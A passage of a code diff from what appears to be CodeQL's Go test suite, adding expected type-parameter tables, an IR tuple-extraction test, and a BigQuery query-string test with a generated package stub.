internal/sync.HashTrieMap.LoadAndDelete | 0 | K | comparable | -| internal/sync.HashTrieMap.LoadAndDelete | 1 | V | interface { } | -| internal/sync.HashTrieMap.LoadOrStore | 0 | K | comparable | -| internal/sync.HashTrieMap.LoadOrStore | 1 | V | interface { } | -| internal/sync.HashTrieMap.Range | 0 | K | comparable | -| internal/sync.HashTrieMap.Range | 1 | V | interface { } | -| internal/sync.HashTrieMap.Store | 0 | K | comparable | -| internal/sync.HashTrieMap.Store | 1 | V | interface { } | -| internal/sync.HashTrieMap.Swap | 0 | K | comparable | -| internal/sync.HashTrieMap.Swap | 1 | V | interface { } | -| internal/sync.HashTrieMap.find | 0 | K | comparable | -| internal/sync.HashTrieMap.find | 1 | V | interface { } | -| internal/sync.HashTrieMap.iter | 0 | K | comparable | -| internal/sync.HashTrieMap.iter | 1 | V | interface { } | -| internal/sync.entry | 0 | K | comparable | -| internal/sync.entry | 1 | V | interface { } | -| internal/sync.entry.compareAndDelete | 0 | K | comparable | -| internal/sync.entry.compareAndDelete | 1 | V | interface { } | -| internal/sync.entry.compareAndSwap | 0 | K | comparable | -| internal/sync.entry.compareAndSwap | 1 | V | interface { } | -| internal/sync.entry.loadAndDelete | 0 | K | comparable | -| internal/sync.entry.loadAndDelete | 1 | V | interface { } | -| internal/sync.entry.lookup | 0 | K | comparable | -| internal/sync.entry.lookup | 1 | V | interface { } | -| internal/sync.entry.lookupWithValue | 0 | K | comparable | -| internal/sync.entry.lookupWithValue | 1 | V | interface { } | -| internal/sync.entry.swap | 0 | K | comparable | -| internal/sync.entry.swap | 1 | V | interface { } | -| internal/sync.newEntryNode | 0 | K | comparable | -| internal/sync.newEntryNode | 1 | V | interface { } | -| iter.Pull | 0 | V | interface { } | -| iter.Pull2 | 0 | K | interface { } | -| iter.Pull2 | 1 | V | interface { } | -| iter.Seq | 0 | V | interface { } | -| iter.Seq2 | 0 | K | interface { } | -| iter.Seq2 | 1 | V | interface { } | -| os.doInRoot | 0 | T | interface { } | -| os.ignoringEINTR2 | 0 | T | interface { } | -| reflect.rangeNum | 1 | N | interface { int64 \| uint64 } | -| runtime.AddCleanup | 0 | T | interface { } | -| runtime.AddCleanup | 1 | S | interface { } | -| runtime.fandbits | 0 | F | floaty | -| runtime.fmax | 0 | F | floaty | -| runtime.fmin | 0 | F | floaty | -| runtime.forbits | 0 | F | floaty | -| runtime.noEscapePtr | 0 | T | interface { } | -| slices.All | 0 | Slice | interface { ~[]E } | -| slices.All | 1 | E | interface { } | -| slices.AppendSeq | 0 | Slice | interface { ~[]E } | -| slices.AppendSeq | 1 | E | interface { } | -| slices.Backward | 0 | Slice | interface { ~[]E } | -| slices.Backward | 1 | E | interface { } | -| slices.BinarySearch | 0 | S | interface { ~[]E } | -| slices.BinarySearch | 1 | E | Ordered | -| slices.BinarySearchFunc | 0 | S | interface { ~[]E } | -| slices.BinarySearchFunc | 1 | E | interface { } | -| slices.BinarySearchFunc | 2 | T | interface { } | -| slices.Chunk | 0 | Slice | interface { ~[]E } | -| slices.Chunk | 1 | E | interface { } | -| slices.Clip | 0 | S | interface { ~[]E } | -| slices.Clip | 1 | E | interface { } | -| slices.Clone | 0 | S | interface { ~[]E } | -| slices.Clone | 1 | E | interface { } | -| slices.Collect | 0 | E | interface { } | -| slices.Compact | 0 | S | interface { ~[]E } | -| slices.Compact | 1 | E | comparable | -| slices.CompactFunc | 0 | S | interface { ~[]E } | -| slices.CompactFunc | 1 | E | interface { } | -| slices.Compare | 0 | S | interface { ~[]E } | -| slices.Compare | 1 | E | Ordered | -| slices.CompareFunc | 0 | S1 | interface { ~[]E1 } | -| slices.CompareFunc | 1 | S2 | interface { ~[]E2 } | -| slices.CompareFunc | 2 | E1 | interface { } | -| slices.CompareFunc | 3 | E2 | interface { } | -| slices.Concat | 0 | S | interface { ~[]E } | -| slices.Concat | 1 | E | interface { } | -| slices.Contains | 0 | S | interface { ~[]E } | -| slices.Contains | 1 | E | comparable | -| slices.ContainsFunc | 0 | S | interface { ~[]E } | -| slices.ContainsFunc | 1 | E | interface { } | -| slices.Delete | 0 | S | interface { ~[]E } | -| slices.Delete | 1 | E | interface { } | -| slices.DeleteFunc | 0 | S | interface { ~[]E } | -| slices.DeleteFunc | 1 | E | interface { } | -| slices.Equal | 0 | S | interface { ~[]E } | -| slices.Equal | 1 | E | comparable | -| slices.EqualFunc | 0 | S1 | interface { ~[]E1 } | -| slices.EqualFunc | 1 | S2 | interface { ~[]E2 } | -| slices.EqualFunc | 2 | E1 | interface { } | -| slices.EqualFunc | 3 | E2 | interface { } | -| slices.Grow | 0 | S | interface { ~[]E } | -| slices.Grow | 1 | E | interface { } | -| slices.Index | 0 | S | interface { ~[]E } | -| slices.Index | 1 | E | comparable | -| slices.IndexFunc | 0 | S | interface { ~[]E } | -| slices.IndexFunc | 1 | E | interface { } | -| slices.Insert | 0 | S | interface { ~[]E } | -| slices.Insert | 1 | E | interface { } | -| slices.IsSorted | 0 | S | interface { ~[]E } | -| slices.IsSorted | 1 | E | Ordered | -| slices.IsSortedFunc | 0 | S | interface { ~[]E } | -| slices.IsSortedFunc | 1 | E | interface { } | -| slices.Max | 0 | S | interface { ~[]E } | -| slices.Max | 1 | E | Ordered | -| slices.MaxFunc | 0 | S | interface { ~[]E } | -| slices.MaxFunc | 1 | E | interface { } | -| slices.Min | 0 | S | interface { ~[]E } | -| slices.Min | 1 | E | Ordered | -| slices.MinFunc | 0 | S | interface { ~[]E } | -| slices.MinFunc | 1 | E | interface { } | -| slices.Repeat | 0 | S | interface { ~[]E } | -| slices.Repeat | 1 | E | interface { } | -| slices.Replace | 0 | S | interface { ~[]E } | -| slices.Replace | 1 | E | interface { } | -| slices.Reverse | 0 | S | interface { ~[]E } | -| slices.Reverse | 1 | E | interface { } | -| slices.Sort | 0 | S | interface { ~[]E } | -| slices.Sort | 1 | E | Ordered | -| slices.SortFunc | 0 | S | interface { ~[]E } | -| slices.SortFunc | 1 | E | interface { } | -| slices.SortStableFunc | 0 | S | interface { ~[]E } | -| slices.SortStableFunc | 1 | E | interface { } | -| slices.Sorted | 0 | E | Ordered | -| slices.SortedFunc | 0 | E | interface { } | -| slices.SortedStableFunc | 0 | E | interface { } | -| slices.Values | 0 | Slice | interface { ~[]E } | -| slices.Values | 1 | E | interface { } | -| slices.breakPatternsCmpFunc | 0 | E | interface { } | -| slices.breakPatternsOrdered | 0 | E | Ordered | -| slices.choosePivotCmpFunc | 0 | E | interface { } | -| slices.choosePivotOrdered | 0 | E | Ordered | -| slices.heapSortCmpFunc | 0 | E | interface { } | -| slices.heapSortOrdered | 0 | E | Ordered | -| slices.insertionSortCmpFunc | 0 | E | interface { } | -| slices.insertionSortOrdered | 0 | E | Ordered | -| slices.isNaN | 0 | T | Ordered | -| slices.medianAdjacentCmpFunc | 0 | E | interface { } | -| slices.medianAdjacentOrdered | 0 | E | Ordered | -| slices.medianCmpFunc | 0 | E | interface { } | -| slices.medianOrdered | 0 | E | Ordered | -| slices.order2CmpFunc | 0 | E | interface { } | -| slices.order2Ordered | 0 | E | Ordered | -| slices.overlaps | 0 | E | interface { } | -| slices.partialInsertionSortCmpFunc | 0 | E | interface { } | -| slices.partialInsertionSortOrdered | 0 | E | Ordered | -| slices.partitionCmpFunc | 0 | E | interface { } | -| slices.partitionEqualCmpFunc | 0 | E | interface { } | -| slices.partitionEqualOrdered | 0 | E | Ordered | -| slices.partitionOrdered | 0 | E | Ordered | -| slices.pdqsortCmpFunc | 0 | E | interface { } | -| slices.pdqsortOrdered | 0 | E | Ordered | -| slices.reverseRangeCmpFunc | 0 | E | interface { } | -| slices.reverseRangeOrdered | 0 | E | Ordered | -| slices.rotateCmpFunc | 0 | E | interface { } | -| slices.rotateLeft | 0 | E | interface { } | -| slices.rotateOrdered | 0 | E | Ordered | -| slices.rotateRight | 0 | E | interface { } | -| slices.siftDownCmpFunc | 0 | E | interface { } | -| slices.siftDownOrdered | 0 | E | Ordered | -| slices.stableCmpFunc | 0 | E | interface { } | -| slices.stableOrdered | 0 | E | Ordered | -| slices.startIdx | 0 | E | interface { } | -| slices.swapRangeCmpFunc | 0 | E | interface { } | -| slices.swapRangeOrdered | 0 | E | Ordered | -| slices.symMergeCmpFunc | 0 | E | interface { } | -| slices.symMergeOrdered | 0 | E | Ordered | -| strconv.bsearch | 0 | S | interface { ~[]E } | -| strconv.bsearch | 1 | E | interface { ~uint16 \| ~uint32 } | -| sync.OnceValue | 0 | T | interface { } | -| sync.OnceValues | 0 | T1 | interface { } | -| sync.OnceValues | 1 | T2 | interface { } | -| sync/atomic.Pointer | 0 | T | interface { } | -| sync/atomic.Pointer.CompareAndSwap | 0 | T | interface { } | -| sync/atomic.Pointer.Load | 0 | T | interface { } | -| sync/atomic.Pointer.Store | 0 | T | interface { } | -| sync/atomic.Pointer.Swap | 0 | T | interface { } | -| time.atoi | 0 | bytes | interface { []uint8 \| string } | -| time.isDigit | 0 | bytes | interface { []uint8 \| string } | -| time.leadingInt | 0 | bytes | interface { []uint8 \| string } | -| time.parseNanoseconds | 0 | bytes | interface { []uint8 \| string } | -| time.parseRFC3339 | 0 | bytes | interface { []uint8 \| string } | diff --git a/go/ql/test/library-tests/semmle/go/Function/TypeParamType.ql b/go/ql/test/library-tests/semmle/go/Function/TypeParamType.ql index 202a437d6a0b..02dec23d2a86 100644 --- a/go/ql/test/library-tests/semmle/go/Function/TypeParamType.ql +++ b/go/ql/test/library-tests/semmle/go/Function/TypeParamType.ql @@ -6,5 +6,9 @@ query predicate numberOfTypeParameters(TypeParamParentEntity parent, int n) { } from TypeParamType tpt, TypeParamParentEntity ty -where ty = tpt.getParent() +where + ty = tpt.getParent() and + // Note that we cannot use the location of `tpt` itself as we currently fail + // to extract an object for type parameters for methods on generic structs. + exists(ty.getLocation()) select ty.getQualifiedName(), tpt.getIndex(), tpt.getParamName(), tpt.getConstraint().pp() diff --git a/go/ql/test/library-tests/semmle/go/IR/test.expected b/go/ql/test/library-tests/semmle/go/IR/test.expected index df2f83e33931..c42cdaa9932f 100644 --- a/go/ql/test/library-tests/semmle/go/IR/test.expected +++ b/go/ql/test/library-tests/semmle/go/IR/test.expected @@ -1,6 +1,10 @@ -| test.go:9:2:9:16 | ... := ...[0] | file://:0:0:0:0 | bool | -| test.go:9:2:9:16 | ... := ...[1] | file://:0:0:0:0 | bool | -| test.go:15:2:15:20 | ... := ...[0] | file://:0:0:0:0 | string | -| test.go:15:2:15:20 | ... := ...[1] | file://:0:0:0:0 | bool | -| test.go:21:2:21:22 | ... := ...[0] | file://:0:0:0:0 | string | -| test.go:21:2:21:22 | ... := ...[1] | file://:0:0:0:0 | bool | +| test.go:9:2:9:16 | ... := ...[0] | test.go:9:13:9:16 | <-... | 0 | file://:0:0:0:0 | bool | +| test.go:9:2:9:16 | ... := ...[1] | test.go:9:13:9:16 | <-... | 1 | file://:0:0:0:0 | bool | +| test.go:15:2:15:20 | ... := ...[0] | test.go:15:13:15:20 | index expression | 0 | file://:0:0:0:0 | string | +| test.go:15:2:15:20 | ... := ...[1] | test.go:15:13:15:20 | index expression | 1 | file://:0:0:0:0 | bool | +| test.go:21:2:21:22 | ... := ...[0] | test.go:21:13:21:22 | type assertion | 0 | file://:0:0:0:0 | string | +| test.go:21:2:21:22 | ... := ...[1] | test.go:21:13:21:22 | type assertion | 1 | file://:0:0:0:0 | bool | +| test.go:29:2:29:7 | call to f[0] | test.go:29:4:29:6 | call to g | 0 | file://:0:0:0:0 | int | +| test.go:29:2:29:7 | call to f[1] | test.go:29:4:29:6 | call to g | 1 | file://:0:0:0:0 | int | +| test.go:33:2:33:7 | call to f[0] | test.go:33:4:33:6 | call to v | 0 | file://:0:0:0:0 | int | +| test.go:33:2:33:7 | call to f[1] | test.go:33:4:33:6 | call to v | 1 | file://:0:0:0:0 | int | diff --git a/go/ql/test/library-tests/semmle/go/IR/test.go b/go/ql/test/library-tests/semmle/go/IR/test.go index de0d567dc3ad..d048632b95b7 100644 --- a/go/ql/test/library-tests/semmle/go/IR/test.go +++ b/go/ql/test/library-tests/semmle/go/IR/test.go @@ -21,3 +21,14 @@ func testTypeAssert() { got, ok := i.(string) fmt.Printf("%v %v", got, ok) } + +func f(x, y int) {} +func g() (int, int) { return 0, 0 } + +func testNestedFunctionCalls() { + f(g()) + + // Edge case: when we call a function from a variable, `getTarget()` is not defined + v := g + f(v()) +} diff --git a/go/ql/test/library-tests/semmle/go/IR/test.ql b/go/ql/test/library-tests/semmle/go/IR/test.ql index 1644bd5b2efe..2c4fa43eac00 100644 --- a/go/ql/test/library-tests/semmle/go/IR/test.ql +++ b/go/ql/test/library-tests/semmle/go/IR/test.ql @@ -1,4 +1,5 @@ import go -from IR::ExtractTupleElementInstruction extract -select extract, extract.getResultType() +from IR::ExtractTupleElementInstruction extract, IR::Instruction base, int idx, Type resultType +where extract.extractsElement(base, idx) and resultType = extract.getResultType() +select extract, base, idx, resultType diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected new file mode 100644 index 000000000000..42831abaf155 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected @@ -0,0 +1,2 @@ +invalidModelRow +testFailures diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql new file mode 100644 index 000000000000..fa869181ed94 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql @@ -0,0 +1,56 @@ +import go +import semmle.go.dataflow.ExternalFlow +import ModelValidation +import utils.test.InlineExpectationsTest + +module SqlTest implements TestSig { + string getARelevantTag() { result = "query" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "query" and + exists(SQL::Query q, SQL::QueryString qs | qs = q.getAQueryString() | + q.getLocation() = location and + element = q.toString() and + value = qs.toString() + ) + } +} + +module QueryString implements TestSig { + string getARelevantTag() { result = "querystring" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "querystring" and + element = "" and + exists(SQL::QueryString qs | not exists(SQL::Query q | qs = q.getAQueryString()) | + qs.getLocation() = location and + value = qs.toString() + ) + } +} + +module Config implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node n) { n.asExpr() instanceof StringLit } + + predicate isSink(DataFlow::Node n) { + n = any(DataFlow::CallNode cn | cn.getTarget().getName() = "sink").getAnArgument() + } +} + +module Flow = TaintTracking::Global; + +module TaintFlow implements TestSig { + string getARelevantTag() { result = "flowfrom" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "flowfrom" and + element = "" and + exists(DataFlow::Node fromNode, DataFlow::Node toNode | + toNode.getLocation() = location and + Flow::flow(fromNode, toNode) and + value = fromNode.asExpr().(StringLit).getValue() + ) + } +} + +import MakeTest> diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected new file mode 100644 index 000000000000..f0954e9491b7 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected @@ -0,0 +1 @@ +| bigquery.go:17:15:17:23 | untrusted | cloud.google.com/go/bigquery.Client | Query | diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go new file mode 100644 index 000000000000..ae721c3a5679 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go @@ -0,0 +1,18 @@ +package main + +//go:generate depstubber -vendor cloud.google.com/go/bigquery Client + +import ( + "cloud.google.com/go/bigquery" +) + +func getUntrustedString() string { + return "trouble" +} + +func main() { + untrusted := getUntrustedString() + var client *bigquery.Client + + client.Query(untrusted) // $ querystring=untrusted +} diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql new file mode 100644 index 000000000000..ba7d0de1650a --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql @@ -0,0 +1,7 @@ +import go + +from SQL::QueryString qs, Function func, string a, string b +where + func.hasQualifiedName(a, b) and + qs = func.getACall().getSyntacticArgument(_) +select qs, a, b diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod new file mode 100644 index 000000000000..0211ae17fea5 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod @@ -0,0 +1,50 @@ +module bigquerytest + +go 1.24 + +require cloud.google.com/go/bigquery v1.68.0 + +require ( + cloud.google.com/go v0.121.0 // indirect + cloud.google.com/go/auth v0.16.1 // indirect + cloud.google.com/go/auth/oauth2adapt v0.2.8 // indirect + cloud.google.com/go/compute/metadata v0.6.0 // indirect + cloud.google.com/go/iam v1.5.2 // indirect + github.com/apache/arrow/go/v15 v15.0.2 // indirect + github.com/felixge/httpsnoop v1.0.4 // indirect + github.com/go-logr/logr v1.4.2 // indirect + github.com/go-logr/stdr v1.2.2 // indirect + github.com/goccy/go-json v0.10.2 // indirect + github.com/google/flatbuffers v23.5.26+incompatible // indirect + github.com/google/s2a-go v0.1.9 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.3.6 // indirect + github.com/googleapis/gax-go/v2 v2.14.1 // indirect + github.com/klauspost/compress v1.16.7 // indirect + github.com/klauspost/cpuid/v2 v2.2.5 // indirect + github.com/pierrec/lz4/v4 v4.1.18 // indirect + github.com/zeebo/xxh3 v1.0.2 // indirect + go.opentelemetry.io/auto/sdk v1.1.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 // indirect + go.opentelemetry.io/otel v1.35.0 // indirect + go.opentelemetry.io/otel/metric v1.35.0 // indirect + go.opentelemetry.io/otel/trace v1.35.0 // indirect + golang.org/x/crypto v0.37.0 // indirect + golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 // indirect + golang.org/x/mod v0.23.0 // indirect + golang.org/x/net v0.39.0 // indirect + golang.org/x/oauth2 v0.29.0 // indirect + golang.org/x/sync v0.14.0 // indirect + golang.org/x/sys v0.32.0 // indirect + golang.org/x/text v0.24.0 // indirect + golang.org/x/time v0.11.0 // indirect + golang.org/x/tools v0.30.0 // indirect + golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect + google.golang.org/api v0.231.0 // indirect + google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34 // indirect + google.golang.org/grpc v1.72.0 // indirect + google.golang.org/protobuf v1.36.6 // indirect +) diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go new file mode 100644 index 000000000000..5f7b3e51f59a --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go @@ -0,0 +1,1125 @@ +// Code generated by depstubber. DO NOT EDIT. +// This is a simple stub for cloud.google.com/go/bigquery, strictly for use in testing. + +// See the LICENSE file for information about the licensing of the original library. +// Source: cloud.google.com/go/bigquery (exports: Client; functions: ) + +// Package bigquery is a stub of cloud.google.com/go/bigquery, generated by depstubber. +package bigquery + +import ( + context "context" + time "time" +) + +type AccessEntry struct { + Role AccessRole + EntityType EntityType + Entity string + View *Table + Routine *Routine + Dataset *DatasetAccessEntry + Condition *Expr +} + +type AccessRole string + +type ArrowIterator interface { + Next() (*ArrowRecordBatch, error) + Schema() Schema + SerializedArrowSchema() []byte +} + +type ArrowRecordBatch struct { + Data []byte + Schema []byte + PartitionID string +} + +func (_ *ArrowRecordBatch) Read(_ []byte) (int, error) { + return 0, nil +} + +type AvroOptions struct { + UseAvroLogicalTypes bool +} + +type BigLakeConfiguration struct { + ConnectionID string + StorageURI string + FileFormat BigLakeFileFormat + TableFormat BigLakeTableFormat +} + +type BigLakeFileFormat string + +type BigLakeTableFormat string + +type CSVOptions struct { + AllowJaggedRows bool + AllowQuotedNewlines bool + Encoding Encoding + FieldDelimiter string + Quote string + ForceZeroQuote bool + SkipLeadingRows int64 + NullMarker string + PreserveASCIIControlCharacters bool +} + +type Client struct { + Location string +} + +func (_ *Client) Close() error { + return nil +} + +func (_ *Client) Dataset(_ string) *Dataset { + return nil +} + +func (_ *Client) DatasetInProject(_ string, _ string) *Dataset { + return nil +} + +func (_ *Client) Datasets(_ context.Context) *DatasetIterator { + return nil +} + +func (_ *Client) DatasetsInProject(_ context.Context, _ string) *DatasetIterator { + return nil +} + +func (_ *Client) EnableStorageReadClient(_ context.Context, _ ...interface{}) error { + return nil +} + +func (_ *Client) JobFromID(_ context.Context, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) JobFromIDLocation(_ context.Context, _ string, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) JobFromProject(_ context.Context, _ string, _ string, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) Jobs(_ context.Context) *JobIterator { + return nil +} + +func (_ *Client) Project() string { + return "" +} + +func (_ *Client) Query(_ string) *Query { + return nil +} + +type CloneDefinition struct { + BaseTableReference *Table + CloneTime time.Time +} + +type Clustering struct { + Fields []string +} + +type ColumnNameCharacterMap string + +type ColumnReference struct { + ReferencingColumn string + ReferencedColumn string +} + +type Compression string + +type ConnectionProperty struct { + Key string + Value string +} + +type Copier struct { + JobIDConfig + CopyConfig +} + +func (_ *Copier) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type CopyConfig struct { + Srcs []*Table + Dst *Table + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + Labels map[string]string + DestinationEncryptionConfig *EncryptionConfig + OperationType TableCopyOperationType + JobTimeout time.Duration + Reservation string +} + +type DataFormat string + +type Dataset struct { + ProjectID string + DatasetID string +} + +func (_ *Dataset) Create(_ context.Context, _ *DatasetMetadata) error { + return nil +} + +func (_ *Dataset) CreateWithOptions(_ context.Context, _ *DatasetMetadata, _ ...DatasetOption) error { + return nil +} + +func (_ *Dataset) Delete(_ context.Context) error { + return nil +} + +func (_ *Dataset) DeleteWithContents(_ context.Context) error { + return nil +} + +func (_ *Dataset) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Dataset) Metadata(_ context.Context) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) MetadataWithOptions(_ context.Context, _ ...DatasetOption) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) Model(_ string) *Model { + return nil +} + +func (_ *Dataset) Models(_ context.Context) *ModelIterator { + return nil +} + +func (_ *Dataset) Routine(_ string) *Routine { + return nil +} + +func (_ *Dataset) Routines(_ context.Context) *RoutineIterator { + return nil +} + +func (_ *Dataset) Table(_ string) *Table { + return nil +} + +func (_ *Dataset) Tables(_ context.Context) *TableIterator { + return nil +} + +func (_ *Dataset) Update(_ context.Context, _ DatasetMetadataToUpdate, _ string) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) UpdateWithOptions(_ context.Context, _ DatasetMetadataToUpdate, _ string, _ ...DatasetOption) (*DatasetMetadata, error) { + return nil, nil +} + +type DatasetAccessEntry struct { + Dataset *Dataset + TargetTypes []string +} + +type DatasetIterator struct { + ListHidden bool + Filter string + ProjectID string +} + +func (_ *DatasetIterator) Next() (*Dataset, error) { + return nil, nil +} + +func (_ *DatasetIterator) PageInfo() interface{} { + return nil +} + +type DatasetMetadata struct { + Name string + Description string + Location string + DefaultTableExpiration time.Duration + Labels map[string]string + Access []*AccessEntry + DefaultEncryptionConfig *EncryptionConfig + DefaultPartitionExpiration time.Duration + DefaultCollation string + ExternalDatasetReference *ExternalDatasetReference + MaxTimeTravel time.Duration + StorageBillingModel string + CreationTime time.Time + LastModifiedTime time.Time + FullID string + Tags []*DatasetTag + IsCaseInsensitive bool + ETag string +} + +type DatasetMetadataToUpdate struct { + Description interface{} + Name interface{} + DefaultTableExpiration interface{} + DefaultPartitionExpiration interface{} + DefaultEncryptionConfig *EncryptionConfig + DefaultCollation interface{} + ExternalDatasetReference *ExternalDatasetReference + MaxTimeTravel interface{} + StorageBillingModel interface{} + Access []*AccessEntry + IsCaseInsensitive interface{} +} + +func (_ *DatasetMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *DatasetMetadataToUpdate) SetLabel(_ string, _ string) {} + +type DatasetOption func(interface{}) + +type DatasetTag struct { + TagKey string + TagValue string +} + +type DecimalTargetType string + +type Encoding string + +type EncryptionConfig struct { + KMSKeyName string +} + +type EntityType int + +type Error struct { + Location string + Message string + Reason string +} + +func (_ Error) Error() string { + return "" +} + +type Expr struct { + Expression string + Title string + Description string + Location string +} + +type ExternalData interface{} + +type ExternalDataConfig struct { + SourceFormat DataFormat + SourceURIs []string + Schema Schema + AutoDetect bool + Compression Compression + IgnoreUnknownValues bool + MaxBadRecords int64 + Options ExternalDataConfigOptions + HivePartitioningOptions *HivePartitioningOptions + DecimalTargetTypes []DecimalTargetType + ConnectionID string + ReferenceFileSchemaURI string + MetadataCacheMode MetadataCacheMode +} + +type ExternalDataConfigOptions interface{} + +type ExternalDatasetReference struct { + Connection string + ExternalSource string +} + +type ExtractConfig struct { + Src *Table + SrcModel *Model + Dst *GCSReference + DisableHeader bool + Labels map[string]string + UseAvroLogicalTypes bool + JobTimeout time.Duration + Reservation string +} + +type Extractor struct { + JobIDConfig + ExtractConfig +} + +func (_ *Extractor) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type FieldSchema struct { + Name string + Description string + Repeated bool + Required bool + Type FieldType + PolicyTags *PolicyTagList + Schema Schema + MaxLength int64 + Precision int64 + Scale int64 + DefaultValueExpression string + Collation string + RangeElementType *RangeElementType + RoundingMode RoundingMode +} + +type FieldType string + +type FileConfig struct { + SourceFormat DataFormat + AutoDetect bool + MaxBadRecords int64 + IgnoreUnknownValues bool + Schema Schema + CSVOptions + ParquetOptions *ParquetOptions + AvroOptions *AvroOptions +} + +type ForeignKey struct { + Name string + ReferencedTable *Table + ColumnReferences []*ColumnReference +} + +type GCSReference struct { + URIs []string + FileConfig + DestinationFormat DataFormat + Compression Compression +} + +type HivePartitioningMode string + +type HivePartitioningOptions struct { + Mode HivePartitioningMode + SourceURIPrefix string + RequirePartitionFilter bool +} + +type IdentifierFormat string + +type Inserter struct { + SkipInvalidRows bool + IgnoreUnknownValues bool + TableTemplateSuffix string +} + +func (_ *Inserter) Put(_ context.Context, _ interface{}) error { + return nil +} + +type IntervalValue struct { + Years int32 + Months int32 + Days int32 + Hours int32 + Minutes int32 + Seconds int32 + SubSecondNanos int32 +} + +func (_ *IntervalValue) Canonicalize() *IntervalValue { + return nil +} + +func (_ *IntervalValue) IsCanonical() bool { + return false +} + +func (_ *IntervalValue) String() string { + return "" +} + +func (_ *IntervalValue) ToDuration() time.Duration { + return 0 +} + +type Job struct{} + +func (_ *Job) Cancel(_ context.Context) error { + return nil +} + +func (_ *Job) Children(_ context.Context) *JobIterator { + return nil +} + +func (_ *Job) Config() (JobConfig, error) { + return nil, nil +} + +func (_ *Job) Delete(_ context.Context) error { + return nil +} + +func (_ *Job) Email() string { + return "" +} + +func (_ *Job) ID() string { + return "" +} + +func (_ *Job) LastStatus() *JobStatus { + return nil +} + +func (_ *Job) Location() string { + return "" +} + +func (_ *Job) ProjectID() string { + return "" +} + +func (_ *Job) Read(_ context.Context) (*RowIterator, error) { + return nil, nil +} + +func (_ *Job) Status(_ context.Context) (*JobStatus, error) { + return nil, nil +} + +func (_ *Job) Wait(_ context.Context) (*JobStatus, error) { + return nil, nil +} + +type JobConfig interface{} + +type JobIDConfig struct { + JobID string + AddJobIDSuffix bool + Location string + ProjectID string +} + +type JobIterator struct { + ProjectID string + AllUsers bool + State State + MinCreationTime time.Time + MaxCreationTime time.Time + ParentJobID string +} + +func (_ *JobIterator) Next() (*Job, error) { + return nil, nil +} + +func (_ *JobIterator) PageInfo() interface{} { + return nil +} + +type JobStatistics struct { + CreationTime time.Time + StartTime time.Time + EndTime time.Time + TotalBytesProcessed int64 + Details Statistics + TotalSlotDuration time.Duration + ReservationUsage []*ReservationUsage + ReservationID string + NumChildJobs int64 + ParentJobID string + ScriptStatistics *ScriptStatistics + TransactionInfo *TransactionInfo + SessionInfo *SessionInfo + FinalExecutionDuration time.Duration + Edition ReservationEdition +} + +type JobStatus struct { + State State + Errors []*Error + Statistics *JobStatistics +} + +func (_ *JobStatus) Done() bool { + return false +} + +func (_ *JobStatus) Err() error { + return nil +} + +type LoadConfig struct { + Src LoadSource + Dst *Table + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + Labels map[string]string + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + Clustering *Clustering + DestinationEncryptionConfig *EncryptionConfig + SchemaUpdateOptions []string + UseAvroLogicalTypes bool + ProjectionFields []string + HivePartitioningOptions *HivePartitioningOptions + DecimalTargetTypes []DecimalTargetType + JobTimeout time.Duration + ReferenceFileSchemaURI string + CreateSession bool + ConnectionProperties []*ConnectionProperty + 